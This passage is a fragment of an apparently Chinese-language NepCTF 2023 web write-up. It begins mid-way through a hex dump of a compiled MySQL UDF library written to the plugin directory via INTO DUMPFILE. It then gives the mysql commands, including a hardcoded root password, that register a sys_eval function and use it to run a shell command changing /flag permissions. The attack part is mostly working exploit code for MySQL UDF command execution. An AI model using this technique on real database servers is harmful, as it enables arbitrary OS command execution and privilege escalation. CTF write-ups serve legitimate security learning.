0000000000000800000000000000a8000000010000000300000000000000e816200000000000e8160000000000009800000000000000000000000000000008000000000000000800000000000000b1000000010000000300000000000000801720000000000080170000000000000800000000000000000000000000000008000000000000000000000000000000b7000000080000000300000000000000881720000000000088170000000000001000000000000000000000000000000008000000000000000000000000000000bc000000010000000000000000000000000000000000000088170000000000009b000000000000000000000000000000010000000000000000000000000000000100000003000000000000000000000000000000000000002318000000000000c500000000000000000000000000000001000000000000000000000000000000 INTO DUMPFILE /usr/lib/mysql/plugin/udf.so;在/tmp目录创建一个poc.sh然后修改权限执行它这时就会将udf.so文件写入/usr/lib/mysql/plugin/目录
成功写入 mysql -uroot -p456456zxc123666 -e create function sys_eval returns string soname udf.so;
mysql -uroot -p456456zxc123666 -e select sys_eval(chmod 777 /flag);参考【NepCTF2023】复现_Leekos的博客-CSDN博客 NepCTF 2023 Web WriteUp | Boogiepop Doesnt Laugh
